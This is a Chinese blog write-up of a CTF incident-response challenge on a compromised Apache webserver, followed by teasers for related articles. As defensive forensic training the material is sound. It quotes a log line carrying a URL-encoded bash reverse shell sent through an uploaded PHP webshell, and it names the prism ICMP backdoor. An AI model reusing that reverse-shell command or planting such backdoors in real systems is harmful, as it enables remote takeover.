当前位置： 首页 > news >正文

记一次某网络安全比赛三阶段webserver应急响应解题过程

news 来源：原创 2025/9/16 13:43:48

0X01 任务说明

0X02 靶机介绍

Webserver（Web服务器）是一种软件或硬件设备，用于接收、处理并响应来自客户端（如浏览器）的HTTP请求，提供网页、图片、视频等静态或动态内容，是互联网基础设施的核心组件之一，其主要功能包括处理HTTP请求（接收客户端如浏览器发送的GET、POST等请求）、生成响应（根据请求内容返回对应资源如HTML页面、JSON数据）、管理静态文件（直接提供图片、CSS、JavaScript等静态资源）、与后端服务协作（通过API或脚本语言如PHP、Python与后端应用交互生成动态内容）以及支持安全协议（如HTTPS加密传输）、负载均衡（分发请求到多个服务器）和日志记录（记录访问信息用于分析和审计）等，常见的Web服务器软件包括Apache HTTP Server、Nginx、Microsoft IIS、Lighttpd等，它们在性能、功能、配置复杂度等方面各有特点，广泛应用于网站托管、应用服务、API网关等场景。

0X03 涉及知识

  1. access.log：
    位置：通常位于 /var/log/apache2/ 或 /var/log/httpd/ 目录下。
    作用：记录对服务器的每个HTTP请求的详细信息，包括访问时间、请求方法、URL、客户端IP等。
    格式：日志格式可以在配置文件中自定义，但通常包括客户端IP、用户标识符、用户名称、日期、请求
    方法：请求的URL、HTTP协议版本、响应状态码、响应大小等信息。
  2. error.log：
    位置：通常位于 /var/log/apache2/ 或 /var/log/httpd/ 目录下。
    作用：记录Apache服务器的错误和警告消息，用于故障排除和问题诊断。
    格式：通常包含错误消息、时间戳和错误级别。
  3. other_vhosts_access.log（虚拟主机访问日志）：
    位置：通常位于虚拟主机配置中指定的位置。
    作用：记录虚拟主机的HTTP请求，与 access.log 类似，但仅针对特定虚拟主机。
    格式：与 access.log 相同。

access.log日志格式

access.log 文件的格式是可配置的，通常使用常见的日志格式，包括以下字段：

  1. 客户端IP地址：发出请求的客户端的IP地址。
  2. 客户端标识符（标识客户端身份的用户或代理）：通常为空。
  3. 用户名（如果启用了HTTP身份验证，记录请求的用户名称）：通常为空。
  4. 记录时间：请求被记录的时间。
  5. 请求方法：HTTP请求方法（例如，GET、POST）。
  6. 请求的URL：被请求的资源的URL。
  7. HTTP协议版本：请求使用的HTTP协议版本。
  8. 服务器响应状态码：服务器对请求的响应状态码（例如，200表示成功，404表示未找到，500表示服务器错误）。
  9. 响应大小：服务器响应的大小（以字节为单位）。
  10. 引用来源：如果有的话，表示从哪个页面链接访问的。
  11. 用户代理：发出请求的用户代理信息，通常包含浏览器类型和版本等。
例：
192.168.1.7 - - [24/Apr/2022:15:27:32 +0000] "GET /data/avatar/1.php?
2022=bash%20-i%20%3E&%20/dev/tcp/192.168.1.7/1234%200%3E&1 HTTP/1.1" 200
242 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0"
1.客户端IP地址:192.168.1.7
2.客户端标识符: -
3.用户名: -
4.记录时间:[24/Apr/2022:15:27:32 +0000]
5.请求方法:GET
6.请求的URL：/data/avatar/1.php?2022=bash%20-
i%20%3E&%20/dev/tcp/192.168.1.7/1234%200%3E&1
7.HTTP协议版本:HTTP/1.1
8.服务器响应状态码：200
9.响应大小：242
10.引用来源（Referer）："-"
11.用户代理:"Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0"

error.log日志格式

[Sun Apr 24 15:17:51.546416 2022] [:error] [pid 77910] [client
192.168.1.7:53328] script '/var/www/html/phpfm.php' not found or unable to
stat

  1. [Sun Apr 24 15:17:51.546416 2022]：表示错误发生的日期和时间，以及微秒级别的时间戳。这告诉您错误发生在2022年4月24日15:17:51.546416。这个时间戳通常以世界协调时（UTC）格式表示。
  2. [:error]：指示错误的级别。在这里，级别是错误（error），这是Apache日志中的一种标准级别，表示发生了一个错误事件。
  3. [pid 77910]：指示与错误相关的进程ID（PID）。在这里，PID是77910。这个信息对于跟踪特定请求的错误非常有用。
  4. [client 192.168.1.7:53328]：指示客户端的IP地址和端口号。在这里，客户端的IP地址是192.168.1.7，而连接的端口号是53328。这有助于确定引发错误的客户端。
  5. script '/var/www/html/phpfm.php' not found or unable to stat：这是错误消息的正文部分，提供了有关错误的详细信息。具体来说，它表示Apache服务器正在尝试查找名为phpfm.php的脚本文件，但未能找到它，或者由于某种原因无法对其进行状态检查（stat操作）。
    这可能是因为文件不存在、权限问题或其他问题。

0X04 应急响应

1、提交攻击者的IP地址

首先，查看服务器所开放的端口，发现开放了80端口，并且运行的服务为apache2。

#通过access.log.1日志文件内容，查看服务器的各种状态。
vim /var/log/apache2/access.log.1

可以看到IP为192.168.1.7的用户使用了DIRSEARCH扫描工具对网站目录进行了大量扫描，接着查看最后100行日志，在日志文件中发现漏洞利用的代码，这里通过文件上传漏洞，上传了1.php文件，并执行了id和whoami命令，最后反弹了shell。

flag{192.168.1.7}

2、识别攻击者使用的操作系统

flag{Linux x86_64}

3、找出攻击者资产收集所使用的平台

flag{shodan}

4、提交攻击者目录扫描所使用的工具名称

flag{DIRSEARCH}

5、提交黑客首次攻击成功的时间，格式：DD /MM/YY:HH:MM:SS

flag{24/Apr/2022:15:26:42}

6、找到攻击者写入的恶意后门文件，提交文件名（完整路径）和后门密码

结合网站根目录路径为/var/www/html，木马所在的网站目录为/data/avatar/1.php 并且连接密码为2022。

flag{/var/www/html/data/avatar/1.php 2022}

7、找到攻击者隐藏在正常web应用代码中的恶意代码，提交该文件名（完整路径）

cd /var/www/html
#grep命令是Linux系统中一个非常重要且功能强大的文本搜索工具。
#以下命令用来检索网站根目录下包含一句话木马eval关键字的文件。
grep -r "eval"

flag{/var/www/html/footer.php}

8、识别系统中存在的恶意程序进程，提交进程名

使用crontab -l 查看任务计划发现存在后门进程

flag{prism}

9、找到文件系统中的恶意程序文件并提交文件名（完整路径）

#查看进程
ps -aux
#查看程序位置
lsof -p 981 (进程PID号)

flag{/root/.mal/prism}

10、简要描述该恶意文件的行为

https://github.com/andreafabrizi/prism 项目地址

flag{ICMP后门执行远程攻击者的命令}

相关文章：

记一次某网络安全比赛三阶段webserver应急响应解题过程

0X01 任务说明 0X02 靶机介绍 Webserver（Web服务器）是一种软件或硬件设备，用于接收、处理并响应来自客户端（如浏览器）的HTTP请求，提供网页、图片、视频等静态或动态内容，是互联网基础设施的核心…...

编程日记 2025/9/16 13:43:48

AI 越狱技术剖析：原理、影响与防范

一、AI 越狱技术概述 AI 越狱是指通过特定技术手段，绕过人工智能模型（尤其是大型语言模型）的安全防护机制，使其生成通常被禁止的内容。这种行为类似于传统计算机系统中的“越狱”，旨在突破模型的限制，以实…...

编程日记 2025/9/16 13:40:42

项目进度延误的十大原因及应对方案

项目进度延误主要源于以下十大原因：目标不明确、需求频繁变更、资源配置不足或不合理、沟通不畅、风险管理不足、缺乏有效的项目监控、技术难题未及时解决、团队协作效率低下、决策链过长、外部因素影响。其中，需求频繁变更是导致延误的关键因素之一&…...

编程日记 2025/9/16 10:10:34

瑞友客户端登录GS_ERP时，报错： 由于安全许可证服务器不能提供许可证,连接被中断的解决方法

瑞友客户端登录GS_ERP时，报错：由于安全许可证服务器不能提供许可证，连接被中断的解决方法 瑞友客户端登录GS_ERP时， 报错：由于安全许可证服务器不能提供许可证，连接被中断的解决方法是由于远程桌面连接协议…...

编程日记 2025/9/16 13:35:15

android wifi通过命令行打开2.4G热点

android系统支持2G和5G，但车机系统应用只支持5G，但是需要测试2.4G的射频 方法如下： 1、adb shell 进去，su 指定root权限，确保热点处于关闭状态 2、开启热点为www99999, 密码为12345678， wpa2的加密协议 cm…...

编程日记 2025/9/16 13:35:14

truncate,drop,delete分析

truncate,drop,delete对比分析 特性 TRUNCATE DROP DELETE **操作对象** 表中的所有数据 整个表及其所有数据 表中的特定数据 **是否保留表结构** 是 否 是 **是否可恢复** 不可恢复 不可恢复 可恢复 **性能** 高 高 低（逐行删除） …...

编程日记 2025/9/16 13:40:57

vue+flask图书知识图谱推荐系统

文章结尾部分有CSDN官方提供的学长 联系方式名片 文章结尾部分有CSDN官方提供的学长 联系方式名片 关注B站，有好处！ 编号: F025 架构: vueflaskneo4jmysql 亮点：协同过滤推荐算法知识图谱可视化 支持爬取图书数据，数据超过万条&am…...

编程日记 2025/9/16 13:35:17

什么是微前端？有什么好处？有哪一些方案？

微前端（Micro Frontends） 微前端是一种架构理念，借鉴了微服务的思想，将一个大型的前端应用拆分为多个独立、自治的子应用，每个子应用可以由不同团队、使用不同技术栈独立开发和部署，最终聚合为一个整体产品…...

编程日记 2025/9/16 13:38:16

prompts提示词经典模板

prompts.py 中的提示词模板详解 文件中定义了两个核心提示词模板：REASON_PROMPT 和 RELEVANT_EXTRACTION_PROMPT。这两个模板在 DeepResearcher 的推理过程中扮演着关键角色。下面我将详细解析这两个模板的结构和功能。 REASON_PROMPT 详解 REASON_PROMPT 是用于指…...

编程日记 2025/9/9 1:32:05

pytorch软件封装

封装代码，通过传入文件名，即可输出类别信息 上一章节，我们做了关于动物图像的分类，接下来我们把程序封装，然后进行预测。 单张图片的predict文件 predict.py 按着路径，导入单张图片做预测from torchvis…...

编程日记 2025/9/16 13:38:17

DAY02：【pytorch】计算图与动态图机制

一、引言 在深度学习框架中，计算图是理解自动求导和模型优化的核心概念。无论是PyTorch的动态图机制，还是TensorFlow早期的静态图模式，计算图都扮演着关键角色。本文将深入解析计算图的基本原理，并结合PyTorch代码演示动态图的运…...

编程日记 2025/9/16 13:40:41

基于元学习（Meta-Learning）的恶意流量检测

元学习（Meta-Learning），即“学会学习”（Learning to Learn），通过让模型从多个相关任务中提取通用知识，实现对新任务的快速适应。在恶意流量检测领域，元学习的核心价值在于从少量攻击样本中泛化出检测规则，尤其适用于新型攻击、定向APT攻击等数据稀缺场景。 一、元学习…...

编程日记 2025/9/16 0:52:13

JavaScript：游戏开发的利器

在近年来的科技迅速发展中，JavaScript 已逐渐成为游戏开发领域中最受欢迎的编程语言之一。它的跨平台特性、广泛的社区支持、丰富的库和框架使得开发者能够快速、有效地创建各种类型的游戏。本文将深入探讨 JavaScript 在游戏开发中的优势。 一、跨平台支持 JavaSc…...

编程日记 2025/9/11 10:09:19

玩转Docker | 使用Docker搭建pinry图片展示系统

玩转Docker | 使用Docker搭建pinry图片展示系统 前言一、Pinry介绍Pinry 简介Pinry 特点二、系统要求环境要求环境检查Docker版本检查检查操作系统版本三、部署pinry服务下载镜像创建容器检查容器状态检查服务端口安全设置四、访问pinry应用五、pinry基本使用5.1 注册pinry账号…...

编程日记 2025/9/16 1:57:33

DAPP实战篇：使用web3.js实现前端输入钱包地址查询该地址的USDT余额——前端篇

专栏：区块链入门到放弃查看目录-CSDN博客文章浏览阅读385次。为了方便查看将本专栏的所有内容列出目录，按照顺序查看即可。后续也会在此规划一下后续内容，因此如果遇到不能点击的，代表还没有更新。声明：文中所出观点大多数源于笔者多年开发经验所总结，如果你想要知道区块…...

编程日记 2025/9/16 1:10:36

企业信息化-系统架构师（九十八）

1在对一个软件系统进行设计与确认后，需要进行架构复审，架构复审目的标识潜在风险，及早发现架构的缺陷和漏洞，在架构复审过程中，主要由（）决定架构满足需求，质量需求是否在设计中体现。…...

编程日记 2025/9/16 13:37:38

【C++算法】54.链表_合并 K 个升序链表

文章目录 题目链接：题目描述：解法C 算法代码： 题目链接： 23. 合并 K 个升序链表 题目描述： 解法 解法一：暴力解法 每个链表的平均长度为n，有k个链表，时间复杂度O(nk^2) 合并两个有序…...

编程日记 2025/9/16 13:38:17

阿里云CDN应对DDoS攻击策略

阿里云CDN遭遇DDoS攻击时，可通过以下综合措施进行应对，保障服务的稳定性和可用性： 1. 启用阿里云DDoS防护服务 阿里云提供专业的DDoS防护服务，通过流量清洗中心过滤恶意流量，确保合法请求正常传输。该服务支持按需选…...

编程日记 2025/9/16 13:37:39

MySQL8的索引跳跃扫描原理

#MySQL 8 的索引跳跃扫描（Index Skip Scan）原理 1. 什么是索引跳跃扫描？索引跳跃扫描（Index Skip Scan）是 MySQL 8.0.13 引入的一种优化技术，允许在某些情况下跳过联合索引的最左前缀字段，仍然…...

编程日记 2025/9/16 13:37:37

centos 启动nginx 服务器

✅ 如果你是通过 yum 安装的 Nginx（推荐方式）： 🔹 启动 Nginx： sudo systemctl start nginx 🔹 设置开机自启（建议开启）： sudo systemctl enable nginx &#x1f53…...

编程日记 2025/9/16 13:35:15

格式化输出

% 符号相关 数据类型代码 %s：字符串 示例：print("名字是 %s" % "Tom") → 名字是 Tom%c：字符/ASCII码 示例：print("%c" % 65) → A%d/%i：有符号整数 示例：print("年龄…...

编程日记 2025/9/16 13:38:16

[leetcode]动态规划：斐波那契数列

一.线性dp 1.0什么是线性dp 线性DP就是指状态的转移具有线性递推关系&#xff0c;每个状态只依赖之前的状态&#xff0c;按照线性顺序一步步递推下去。 1.1斐波那契数列问题 #include <iostream> #include <vector> using namespace std; int main() { in…...

编程日记 2025/9/16 13:40:56

HackMyVM - todd记录

HackMyVM - toddhttps://mp.weixin.qq.com/s/E_-hepdfY-0veilL1fl2QA...

编程日记 2025/8/17 19:42:14

【spark认任务提交】配置优先级顺序

配置优先级顺序 Spark-submit 命令行参数 (最高优先级)代码中通过 SparkConf 设置的参数 (在应用程序中直接设置)spark-defaults.conf 文件中的配置 实际应用中的建议 固定配置&#xff1a;将集群级别的默认配置放在 spark-defaults.conf 中应用特定配置&#xff1a;将应用特…...

编程日记 2025/9/14 1:31:48

如何建立高效的会议机制

建立高效的会议机制需做到&#xff1a;明确会议目标、制定并提前分发议程、控制会议时长、确保有效沟通与反馈、及时跟进执行情况。其中&#xff0c;明确会议目标是核心关键&#xff0c;它直接决定了会议的方向与效率。只有明确目标&#xff0c;会议才不会偏离初衷&#xff0c;…...

编程日记 2025/9/15 23:14:40

spark Core-RDD转换算子

1. map算子&#xff1a;对RDD中的数据逐条进行映射转换&#xff0c;可实现类型或值的转换。函数签名为 def map[U: ClassTag](f: T > U): RDD[U] 。 2. mapPartitions算子&#xff1a;以分区为单位处理数据&#xff0c;可进行任意处理。与 map 相比&#xff0c; map 是分区内…...

编程日记 2025/9/15 9:39:39

【图像处理】C++实现通用Raw图转Unpack14的高效方法

一、需求背景 在图像处理领域&#xff0c;我们经常需要处理各种位深的原始数据&#xff08;如Raw8、Unpack10等&#xff09;。某些高端相机或传感器会输出14位精度的图像数据&#xff0c;但受传输限制&#xff0c;实际存储时可能采用低位深打包。本文将实现一个通用转换函数&a…...

编程日记 2025/9/5 11:22:33

Vue3的Composition API与React Hooks有什么异同？

Vue3的一个重大更新点就是支持Composition API&#xff0c;而且也被业界称为hooks&#xff0c;那么Vue3的“Hooks”与React的Hooks有这么区别呢&#xff1f; 一、核心相似点 1. 逻辑复用与代码组织 都解决了传统类组件或选项式 API 中逻辑分散的问题&#xff0c;允许将相关逻…...

编程日记 2025/9/14 6:15:12

Gerrit的安装与使用说明（Ubuntu）

#本页面按192.168.60.148服务器举例进行安装配置 1.权限配置 ## 使用root或者有sudo权限用户执行 # 创建gerrit用户 sudo useradd gerrit # 设置gerrit用户的密码 sudo passwd gerrit # 增加sudo权限 sudo visudo 在root ALL(ALL:ALL) ALL行下添加如下内容 gerrit ALL(ALL:…...

编程日记 2025/9/15 16:45:59

如何在Git历史中抹掉中文信息并翻译成英文

如何在Git历史中抹掉中文信息并翻译成英文 在软件开发和版本控制领域&#xff0c;维护一个清晰、一致的代码历史记录是至关重要的。然而&#xff0c;有时我们可能会遇到需要修改历史提交的情况&#xff0c;比如删除敏感信息或修正错误。本文将详细探讨如何在Git历史中抹掉中文…...

编程日记 2025/9/11 17:26:09

Ubuntu利用docker将ONNX模型转换为RK3588模型

1.安装docker 下载教程 1.拉取镜像 方法一&#xff1a;通过命令拉取 # 下载官方Docker镜像sudo docker pull registry.cn-hangzhou.aliyuncs.com/rockchip/rknn-toolkit2:v2.3.0 方法二&#xff1a;通过rknn-toolkit2自带的直接安装 2.开始工作 创建工作目录并复制ONNX模型…...

编程日记 2025/9/7 1:26:05

Go：入门

文章目录 Hello, World命令行参数找出重复行GIF动画获取一个URL并发获取多个URL一个 Web 服务器其他 Hello, World Hello world package main import "fmt" func main() {fmt.Println("Hello, 世界") }package main表明这是一个可独立执行的程序包&#…...

编程日记 2025/9/10 19:55:56

深入理解 ResponseBodyAdvice 及其应用

ResponseBodyAdvice 是 Spring MVC 提供的一个强大接口&#xff0c;允许你在响应体被写入 HTTP 响应之前对其进行全局处理。 下面我将全面介绍它的工作原理、使用场景和最佳实践。 基本概念 接口定义 public interface ResponseBodyAdvice<T> {boolean supports(Metho…...

编程日记 2025/9/12 13:31:31

SpringBoot对接火山引擎大模型api实现图片识别与分析

文章目录 一、前言二、创建应用三、后端1.SDK集成2.调用Rest API 四、前端 一、前言 Spring AI实战初体验——实现可切换模型AI聊天助手-CSDN博客 如上&#xff0c;在上一篇博客&#xff0c;我们已经实现了spring ai对接本地大模型实现了聊天机器人&#xff0c;但是目前有个新…...

编程日记 2025/9/10 1:27:25

Java ---成员，局部变量与就近原则

成员变量 声明在类内部&#xff0c;但在方法、构造器或代码块之外的变量。 属于类的实例&#xff08;对象&#xff09;或类本身&#xff08;静态变量&#xff09;。 实例变量&#xff08;非静态成员变量&#xff09;&#xff1a; public class Person {private String name…...

编程日记 2025/9/11 19:04:25

基于libevent写一个服务器（附带源码）

使用libevent搭建服务器 服务器源码二级目录 使用开源框架&#xff0c;目的是减少程序员对一些精细的操作的误操作&#xff0c;也是为了让程序员能更好的对接业务而不是底层api的使用。 为何使用libevent&#xff0c;因为libevent开源已经有十几年了&#xff0c;能很好的承受数…...

编程日记 2025/9/13 4:57:17

2.2.3 Spark Standalone集群

搭建Spark Standalone集群需要完成多个步骤。首先&#xff0c;配置主机名、IP地址映射、关闭防火墙和SeLinux&#xff0c;并设置免密登录。接着&#xff0c;配置JDK和Hadoop环境&#xff0c;并在所有节点上分发配置。然后&#xff0c;下载并安装Spark&#xff0c;配置环境变量和…...

编程日记 2025/9/11 21:52:02

每天记录一道Java面试题---day38

说说类加载器双亲委派模型 回答重点 AppClassLoader的父加载器是ExtClassLoader&#xff0c;ExtClassLoader的父加载器是BootStrapClassLoader。JVM在加载一个类时&#xff0c;会调用AppClassLoader的laodClass方法来加载这个类&#xff0c;不过在这个方法中&#xff0c;会先…...

编程日记 2025/9/10 1:27:27

[ctfshow web入门] web33

信息收集 相较于上一题&#xff0c;这题多了双引号的过滤。我猜测这一题的主要目的可能是为了不让使用$_GET[a]之类的语句&#xff0c;但是$_GET[a]也是一样的 没有括号可以使用include&#xff0c;没有引号可以使用$_GET 可以参考[ctfshow web入门] web32&#xff0c;其中的所…...

编程日记 2025/9/9 1:32:08

【时时三省】(C语言基础)用switch语句实现多分支选择结构

山不在高&#xff0c;有仙则名。水不在深&#xff0c;有龙则灵。 ----CSDN 时时三省 if语句只有两个分支可供选择&#xff0c;而实际问题中常常需要用到多分支的选择。例如&#xff0c;学生成绩分类(85分以上为A等&#xff0c;70 ~ 84分为B等&#xff0c;60 ~ 69分为C等)&…...

编程日记 2025/9/16 6:12:33

为您的 Web 应用选择最佳文档阅读器

为显示选择合适的文档查看器是开发 Web 应用过程中至关重要的一步。文档查看器应能在提供功能性的同时&#xff0c;确保用户体验的流畅性。 开发人员必须评估多种因素&#xff0c;以确保效率、性能和兼容性。本文将帮助您了解影响用户文档浏览体验成功与否的关键指标。 渲染质…...

编程日记 2025/9/5 4:01:25

js逆向入门图灵爬虫练习平台第六题

地址&#xff1a;aHR0cHM6Ly9zdHUudHVsaW5ncHl0b24uY24vcHJvYmxlbS1kZXRhaWwvNi8 观察可以发现请求头有有字段加密和响应结果加密 查看启动器 开始断点调试 直接复制里面的js内容&#xff0c;测试函数...

编程日记 2025/8/17 20:39:41

招商蛇口 | 回归生活本身，革新CID的143㎡改善标准

时光流转&#xff0c;城市向前。在西安这片千年文脉的沃土之上&#xff0c;招商蛇口已深耕11载&#xff0c;用21座标杆作品&#xff0c;为17000余户家庭筑就理想栖居。从曲江到高新&#xff0c;从城市更新到人居焕新&#xff0c;每一座作品都是对“美好生活承载者”使命的践行。…...

编程日记 2025/9/11 1:15:03

第6课：分布式多智能体系统架构

分布式多智能体系统架构&#xff1a;从算力协同到微服务部署的工程化实践 一、引言&#xff1a;当智能体规模突破百级&#xff1a;分布式架构为何成为必选项&#xff1f; 在多智能体系统&#xff08;MAS&#xff09;从“实验室Demo”走向“工业级应用”的过程中&#xff0c;传…...

编程日记 2025/9/16 6:42:52

Vue3 Teleport 深度解析与面试技巧

Vue3 Teleport 深度解析与面试技巧 一、Teleport 核心价值解析 1.1 诞生背景与设计哲学 DOM层级困境&#xff1a;传统组件树与视觉层级的矛盾样式污染问题&#xff1a;z-index层级管理的世纪难题逻辑解耦需求&#xff1a;业务逻辑与DOM结构的正交性要求 1.2 核心能力矩阵 能…...

编程日记 2025/9/16 1:57:35

断言与反射——以golang为例

断言 x.(T) 检查x的动态类型是否是T&#xff0c;其中x必须是接口值。 简单使用 func main() {var x interface{}x 100value1, ok : x.(int)if ok {fmt.Println(value1)}value2, ok : x.(string)if ok {//未打印fmt.Println(value2)} }需要注意如果不接受第二个参数就是OK,这…...

编程日记 2025/9/15 11:16:50

react函数组件中，className字符串、style对象如何在父子组件之间传递

一、需要传递的样式在父组件的scss文件中提前写好 子组件的dom解析后&#xff1a; 二、向子组件直接传递style对象...

编程日记 2025/8/17 20:20:17

WHAT - React Portal 机制：将子组件渲染到 DOM 的指定节点

文章目录 适合场景基本语法示例&#xff1a;Modal 弹窗1. 创建一个简单的 Modal.tsx2. 在 App 中使用 为什么要用 Portal&#xff1f;TypeScript 中 Portal 类型定义&#xff1f; 适合场景 React Portal 是 React 提供的一种机制&#xff0c;让你可以将子组件渲染到 DOM 的指定…...

编程日记 2025/9/10 18:17:29

企业绿电消纳比例不达标？安科瑞微电网智慧能源平台助力企业低碳转型

方案配置支持请联系安科瑞电气周女士 企业绿电消纳政策是国家推动能源转型和实现“双碳”目标的重要抓手&#xff0c;近年来政策体系逐步完善。企业通过建设“源网荷储”一体化项目、虚拟电厂等技术&#xff0c;提升绿电消纳能力。 一、安科瑞提供解决方案 深耕用电业务&…...

编程日记 2025/9/11 12:16:35

uni-app初学

文章目录 1. pages.json 页面路由2. 图标3. 全局 CSS4. 首页4.1 整体框架4.2 完整代码4.3 轮播图 swiper4.3.1 image 4.4 公告4.4.1 uni-icons 4.5 分类 uni-row、uni-col4.6 商品列表 小程序开发网址&#xff1a; 注册小程序账号 微信开发者工具下载 uniapp 官网 HbuilderX 下…...

编程日记 2025/9/10 5:47:18